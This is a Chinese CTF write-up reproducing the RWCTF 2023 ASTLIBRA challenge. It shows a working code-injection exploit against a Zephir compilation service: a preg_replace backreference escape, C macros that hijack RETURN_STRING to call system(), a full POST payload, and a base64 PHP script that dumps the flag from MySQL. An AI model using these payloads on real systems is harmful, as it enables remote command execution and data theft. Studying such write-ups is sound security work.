RWCTF ASTLIBRA 复现

环境和官方wp

https://github.com/wupco/rwctf2023-ASTLIBRA

当前端向/api.php发起请求的时候,api.php根据接收到的URL参数和用户名等信息,拼接出一段代码

$tmpl = <<<ZEPF
namespace {namespace};

class {class}{
    public function getURL(){
        return "{base64url}";
    }
    public function test(){
        var ch = curl_init();
        curl_setopt(ch, CURLOPT_URL, "{url}");
        curl_setopt(ch, CURLOPT_HEADER, 0);
        curl_exec(ch);
        curl_close(ch);
        return true;
    }
}
ZEPF;

image-20230110183601775

然后就会把这段代码插入数据库中,并标记check=0,在config.php#wait_for_result死循环,直到check=1才跳循环。

而bot.php有一个死循环任务,会查找数据库中check=1的记录,将其select出来,用zephir编译运行返回访问URL的结果,然后把check改成1,从而config.php跳出循环在api.php返回结果

这段代码在数据库中可以看到

image-20230110184019095

看了一下,注入点基本上只有URL可控,没有任何过滤。但是最后在编译运行的时候会先check一遍URL。

url会经过处理

$url = addslashes($_POST['URL']);

preg_replace('/(.*)\{url\}(.*)/is', '${1}'.$url.'${2}', $zep_file);

PHP正则表达式的${n}表示第n个小括号表达式匹配出来的内容。所以可以在URL末尾加一个${2},最后注释,逃逸引号。code则会被插入到class后面的部分。

URL=http%3a//www.baidu.com/${2}code/*

当然,预期解用了一个逆天的PHP特性(?)

https://stackoverflow.com/questions/50983530/why-is-preg-replace-removing-backslashes

于是也就有了官方wp中的

\" will finally convert to \\"

逃出来之后,就可以写代码了。正常的php算是写不了了,在bot.php里过滤了1mol东西。但是zephir支持原生cblock。官方wp中说到

Although cblock has been removed by ASTLIBRA/zephir-tunnel/secure.patch, it could still be inserted in the place out of the function scope.

观察一下正常预编译后的C结构


#ifdef HAVE_CONFIG_H
#include "../ext_config.h"
#endif

#include <php.h>
#include "../php_ext.h"
#include "../ext.h"

#include <Zend/zend_operators.h>
#include <Zend/zend_exceptions.h>
#include <Zend/zend_interfaces.h>

#include "kernel/main.h"
#include "kernel/object.h"
#include "kernel/fcall.h"
#include "kernel/memory.h"


ZEPHIR_INIT_CLASS(Hack_exp)
{
	ZEPHIR_REGISTER_CLASS(Hack, exp, hack, exp, hack_exp_method_entry, 0);

	return SUCCESS;
}

PHP_METHOD(Hack_exp, getURL)
{
	zval *this_ptr = getThis();



	RETURN_STRING("base64");
}

PHP_METHOD(Hack_exp, test)
{
	zval ch, _0, _1, _3;
	zephir_method_globals *ZEPHIR_METHOD_GLOBALS_PTR = NULL;
	zephir_fcall_cache_entry *_2 = NULL;
	zend_long ZEPHIR_LAST_CALL_STATUS;
	zval *this_ptr = getThis();

	ZVAL_UNDEF(&ch);
	ZVAL_UNDEF(&_0);
	ZVAL_UNDEF(&_1);
	ZVAL_UNDEF(&_3);


	ZEPHIR_MM_GROW();

	ZEPHIR_CALL_FUNCTION(&ch, "curl_init", NULL, 1);
	zephir_check_call_status();
	ZVAL_LONG(&_0, 10002);
	ZEPHIR_INIT_VAR(&_1);
	ZVAL_STRING(&_1, "localhost");
	ZEPHIR_CALL_FUNCTION(NULL, "curl_setopt", &_2, 2, &ch, &_0, &_1);
	zephir_check_call_status();
	ZVAL_LONG(&_0, 42);
	ZVAL_LONG(&_3, 0);
	ZEPHIR_CALL_FUNCTION(NULL, "curl_setopt", &_2, 2, &ch, &_0, &_3);
	zephir_check_call_status();
	ZEPHIR_CALL_FUNCTION(NULL, "curl_exec", NULL, 3, &ch);
	zephir_check_call_status();
	ZEPHIR_CALL_FUNCTION(NULL, "curl_close", NULL, 4, &ch);
	zephir_check_call_status();
	RETURN_MM_BOOL(1);
}


由于后续流程会调用getURL函数,所以可以定义一个宏劫持RETURN_STRING来执行命令。

另外,由于引号会被addslashes处理,不能直接定义一个字符串常量。这里用到了一些C语言函数宏的特性。#s会直接返回宏变量名。

%{
#define CMD echo xxx|base64 -d|bash
#define GET(cmd) STR(cmd)
#define STR(s) #s
#define RETURN_STRING(s) system(GET(CMD))
}%

执行命令反弹shell后,写一个php脚本连接数据库就可以select出数据库里的flag了。最终EXP:

POST /api.php

URL=http%3a//www.baidu.com/${2}%25{
%23define+CMD+echo+xxx|base64+-d|bash
%23define+GET(cmd)+STR(cmd)
%23define+STR(s)+%23s
%23define+RETURN_STRING(s)+system(GET(CMD))
}%25/*

执行命令

echo PD9waHAKJGhvc3QgPSAnZGInOwokdXNlcm5hbWUgPSAncm9vdCc7CiRwYXNzd29yZCA9ICdyZWFsd29ybGRjdGYnOwokZGF0YWJhc2UgPSAnd2ViJzsKJGRiYyA9IG15c3FsaV9jb25uZWN0KCRob3N0LCAkdXNlcm5hbWUsICRwYXNzd29yZCwgJGRhdGFiYXNlKTsKCiRxdWVyeSA9ICJzZWxlY3QgZmxhZyBmcm9tIGZsYWciOwp2YXJfZHVtcCgKICAgICRkYmMgLT4gcXVlcnkoJHF1ZXJ5KS0+ZmV0Y2hfYXNzb2MoKQopOwo=|base64 -d>/tmp/flag.php&&php /tmp/flag.php&&rm /tmp/flag.php

image-20230110190625158

另外,由于curl已经可以达到SSRF连数据库的效果,所以也不一定要命令执行,利用没有被ban的php-curl也可以直接返回flag。具体参见官方wp。

posted @ 2023-01-10 23:54  KingBridge  阅读(102)  评论(0编辑  收藏  举报